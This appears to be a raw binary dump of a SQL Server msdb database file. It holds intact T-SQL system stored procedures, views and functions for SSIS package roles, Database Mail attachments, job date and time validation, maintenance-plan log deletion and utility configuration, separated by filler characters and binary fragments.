!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!u`<
MM_0 8CREATE PROCEDURE [dbo].[sp_ssis_setpackageroles]
  @name sysname,
  @folderid uniqueidentifier,
  @readrole nvarchar (128),
  @writerole nvarchar (128)
AS
  SET NOCOUNT ON
  DECLARE @sid varbinary(85)
  --// Determine if we should INSERT or UPDATE
  SELECT @sid = ownersid FROM sysssispackages WHERE name = @name AND folderid = @folderid
  IF @sid IS NOT NULL
  BEGIN
      --// The row exists, check security
      IF (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
      BEGIN
          IF (@sid<>SUSER_SID())
          BEGIN
              RAISERROR (14307, -1, -1, @name)
              RETURN 1  -- Failure
          END
      END
      --// Security check passed, UPDATE now
      DECLARE @readrolesid varbinary(85)
      DECLARE @writerolesid varbinary(85)
      SELECT @readrolesid = [sid] FROM sys.database_principals WHERE [type] = 'R' AND [name] = @readrole
      SELECT @writerolesid = [sid] FROM sys.database_principals WHERE [type] = 'R' AND [name] = @writerole
      IF @readrolesid IS NULL AND @readrole IS NOT NULL
      BEGIN
          RAISERROR (15014, -1, -1, @readrole)
          RETURN 1
      END
      IF @writerolesid IS NULL AND @writerole IS NOT NULL
      BEGIN
          RAISERROR (15014, -1, -1, @writerole)
          RETURN 1
      END
      UPDATE sysssispackages
      SET
          [readrolesid] = @readrolesid,
          [writerolesid] = @writerolesid
      WHERE
          name = @name AND folderid = @folderid
  END
  ELSE
  BEGIN
      RAISERROR (14307, -1, -1, @name)
      RETURN 1  -- Failure
  END
  RETURN 0    -- SUCCESS
0 78
CREATE PROCEDURE sp_GetAttachmentData
   @attachments           nvarchar(max),
   @temp_table_uid        uniqueidentifier,
   @exclude_query_output  BIT        = 0
AS
BEGIN
    SET NOCOUNT ON
    SET QUOTED_IDENTIFIER ON

    DECLARE @rc             INT,
            @prohibitedExts NVARCHAR(1000),
            @attachFilePath NVARCHAR(260),
            @scIndex        INT,
            @startLocation  INT,
            @fileSizeStr    NVARCHAR(256),
            @fileSize       INT,
            @mailDbName     sysname,
            @uidStr         VARCHAR(36)

    --Get the maximum file size allowed for attachments from sysmailconfig.
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'MaxFileSize', 
                                                @parameter_value = @fileSizeStr OUTPUT
    --ConvertToInt will return the default if @fileSizeStr is null
    SET @fileSize = dbo.ConvertToInt(@fileSizeStr, 0x7fffffff, 100000)

    --May need this if attaching files
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'ProhibitedExtensions', 
                                                @parameter_value = @prohibitedExts OUTPUT

    SET @mailDbName = DB_NAME()
    SET @uidStr = CONVERT(VARCHAR(36), @temp_table_uid)

   SET @attachments = @attachments + ';'
   SET @startLocation = 0
   SET @scIndex = CHARINDEX(';', @attachments, @startLocation)

   WHILE (@scIndex <> 0)
   BEGIN
      SET @attachFilePath = SUBSTRING(@attachments, @startLocation, (@scIndex - @startLocation))
      
      -- Make sure we have an attachment file name to work with, and that it hasn't been truncated
      IF (@scIndex - @startLocation > 260 )
      BEGIN
            RAISERROR(14628, 16, 1)
          RETURN 1 
      END

        IF ((@attachFilePath IS NULL) OR (LEN(@attachFilePath) = 0))
        BEGIN
            RAISERROR(14628, 16, 1)
          RETURN 1 
        END

      --Check if attachment ext is allowed 
      EXEC @rc = sp_isprohibited @attachFilePath, @prohibitedExts
      IF (@rc <> 0)
      BEGIN
          RAISERROR(14630, 16, 1, @attachFilePath, @prohibitedExts)
          RETURN 2
      END

        DECLARE  @no_output_int  INT
        SET @no_output_int         = CONVERT(int, @exclude_query_output)

        -- return code checked after select and delete calls
        EXEC @rc = master..xp_sysmail_attachment_load @message       = @mailDbName, 
                                                      @attachments      = @attachFilePath,
                                                      @subject       = @uidStr,
                                                      @max_attachment_size = @fileSize,
                                                      @no_output = @no_output_int
      IF (@rc <> 0)
            RETURN (@rc)
               
        --Get next substring index
      SET @startLocation = @scIndex + 1
      SET @scIndex = CHARINDEX(';', @attachments, @startLocation)

      IF (@scIndex = 0)
         BREAK
   END

    RETURN 0
END
0 8
CREATE PROCEDURE [dbo].[sp_sysutility_ucp_validate_prerequisites]
WITH EXECUTE AS OWNER
AS
BEGIN
   IF (dbo.fn_sysutility_ucp_get_edition_is_ucp_capable_internal() = 1)
   BEGIN
      RAISERROR ('Instance is able to be used as a Utility Control Point.', 0, 1) WITH NOWAIT;
   END
   ELSE BEGIN
      DECLARE @edition nvarchar(128);
      SELECT @edition = CONVERT(nvarchar(128), SERVERPROPERTY('Edition'));
      RAISERROR(37004, -1, -1, @edition);
      RETURN(1);
   END;
END 
0{ %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(`)<fzMSx01oV $8CREATE PROCEDURE sp_verify_job_date
  @date           INT,
  @date_name      VARCHAR(60) = 'date',
  @error_severity INT         = -1
AS
BEGIN
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @date_name = LTRIM(RTRIM(@date_name))

  IF ((ISDATE(CONVERT(VARCHAR, @date)) = 0) OR (@date < 19900101) OR (@date > 99991231))
  BEGIN
    RAISERROR(14266, @error_severity, -1, @date_name, '19900101..99991231')
    RETURN(1) -- Failure
  END

  RETURN(0) -- Success
END
0t %8((0))0jJ *8
CREATE PROCEDURE sp_verify_job_time
  @time           INT,
  @time_name      VARCHAR(60) = 'time',
  @error_severity INT = -1
AS
BEGIN
  DECLARE @hour      INT
  DECLARE @minute    INT
  DECLARE @second    INT
  DECLARE @part_name NVARCHAR(50)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @time_name = LTRIM(RTRIM(@time_name))

  IF ((@time < 0) OR (@time > 235959))
  BEGIN
    RAISERROR(14266, @error_severity, -1, @time_name, '000000..235959')
    RETURN(1) -- Failure
  END

  SELECT @hour   = (@time / 10000)
  SELECT @minute = (@time % 10000) / 100
  SELECT @second = (@time % 100)

  -- Check hour range
  IF (@hour > 23)
  BEGIN
    SELECT @part_name = FORMATMESSAGE(14218)
    RAISERROR(14287, @error_severity, -1, @time_name, @part_name)
    RETURN(1) -- Failure
  END

  -- Check minute range
  IF (@minute > 59)
  BEGIN
    SELECT @part_name = FORMATMESSAGE(14219)
    RAISERROR(14287, @error_severity, -1, @time_name, @part_name)
    RETURN(1) -- Failure
  END

  -- Check second range
  IF (@second > 59)
  BEGIN
    SELECT @part_name = FORMATMESSAGE(14220)
    RAISERROR(14287, @error_severity, -1, @time_name, @part_name)
    RETURN(1) -- Failure
  END

  RETURN(0) -- Success
END
0j %8((1))0
) I8([dbo].[fn_sysdac_get_currentusername]())0> D8Thb*04^ 8CREATE VIEW [dbo].[syspolicy_policy_categories]
AS
    SELECT     
        policy_category_id,
        name,
        mandate_database_subscriptions
    FROM [dbo].[syspolicy_policy_categories_internal]
0 %8((0))0 +8(getdate())0C +8(getdate())02 D8sQh;0z 8CREATE PROCEDURE [dbo].[sp_sysutility_ucp_update_utility_configuration] 
   @name SYSNAME,
   @value SQL_VARIANT
WITH EXECUTE AS OWNER
AS
BEGIN

    DECLARE @retval INT
    DECLARE @null_column    SYSNAME
    
    SET @null_column = NULL

    IF (@name IS NULL OR @name = N'')
        SET @null_column = '@name'
    ELSE IF (@value IS NULL)
        SET @null_column = '@value'
    
    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_ucp_update_utility_configuration')
        RETURN(1)
    END

    IF NOT EXISTS (SELECT 1 FROM dbo.sysutility_ucp_configuration_internal WHERE name = @name)
    BEGIN
        RAISERROR(14027, -1, -1, @name)
        RETURN(1)
    END

    UPDATE dbo.sysutility_ucp_configuration_internal SET current_value = @value WHERE name = @name
    
    SELECT @retval = @@error
    RETURN(@retval)
END
0 '8CREATE FUNCTION [dbo].[fn_sysutility_ucp_accepts_upload_schema_version] 
(
    @upload_schema_version INT
)
RETURNS INT
AS
BEGIN

   DECLARE @accepted_min_version INT = 100;
   DECLARE @accepted_max_version INT = 100;
   
   -- Assume that the version is compatable
   DECLARE @retvalue INT = 0;
   
   IF(@upload_schema_version < @accepted_min_version)
      SET @retvalue = -1
   ELSE IF(@upload_schema_version > @accepted_max_version)
      SET @retvalue = 1
      
   RETURN @retvalue
   
END
0}p %8((0))0 %8((0))0︳ %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!			v	UA
05
`<
JV034 8CREATE PROCEDURE sp_maintplan_delete_log
    @plan_id        UNIQUEIDENTIFIER    = NULL,
    @subplan_id     UNIQUEIDENTIFIER    = NULL,
    @oldest_time    DATETIME            = NULL
AS
BEGIN
    -- @plan_id and @subplan_id must be both NULL or only one exclusively set
   IF (@plan_id IS NOT NULL) AND (@subplan_id IS NOT NULL)
   BEGIN
      RAISERROR(12980, -1, -1, '@plan_id', '@subplan_id')
      RETURN(1)
   END

   --Scenario 1: User wants to delete all logs
   --Scenario 2: User wants to delete all logs older than X date
   --Scenario 3: User wants to delete all logs for a given plan
   --Scenario 4: User wants to delete all logs for a specific subplan
   --Scenario 5: User wants to delete all logs for a given plan older than X date
   --Scenario 6: User wants to delete all logs for a specific subplan older than X date

   -- Special case 1: Delete all logs
   IF (@plan_id IS NULL) AND (@subplan_id IS NULL) AND (@oldest_time IS NULL)
   BEGIN
      DELETE msdb.dbo.sysmaintplan_logdetail
      DELETE msdb.dbo.sysmaintplan_log
      RETURN (0)
   END

   DELETE msdb.dbo.sysmaintplan_log 
    WHERE ( task_detail_id in 
            (SELECT task_detail_id 
             FROM msdb.dbo.sysmaintplan_log 
             WHERE ((@plan_id IS NULL)     OR (plan_id = @plan_id)) AND 
                   ((@subplan_id IS NULL)  OR (subplan_id = @subplan_id)) AND 
                   ((@oldest_time IS NULL) OR (start_time < @oldest_time))) )

    RETURN (0)
END
09 8CREATE PROCEDURE dbo.sp_sysdac_ensure_dac_creator
as
BEGIN
    -- only users that can create a dac can add parts
    IF (dbo.fn_sysdac_is_dac_creator() != 1)
    BEGIN
        RAISERROR(36010, -1, -1);
        RETURN(1); -- failure
    END
END
0/ 8CREATE VIEW dbo.sysutility_ucp_policies 
AS
SELECT
    rhp.health_policy_id AS health_policy_id,
    p.policy_id AS policy_id,
    rhp.policy_name AS policy_name,
    rhp.rollup_object_type AS rollup_object_type,
    rhp.rollup_object_urn AS rollup_object_urn,
    rhp.target_type AS target_type,
    rhp.resource_type AS resource_type,
    rhp.utilization_type AS utilization_type,
    rhp.utilization_threshold AS utilization_threshold,
    rhp.is_global_policy AS is_global_policy
FROM [msdb].[dbo].[sysutility_ucp_health_policies_internal] rhp
INNER JOIN msdb.dbo.syspolicy_policies p ON p.name = rhp.policy_name
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!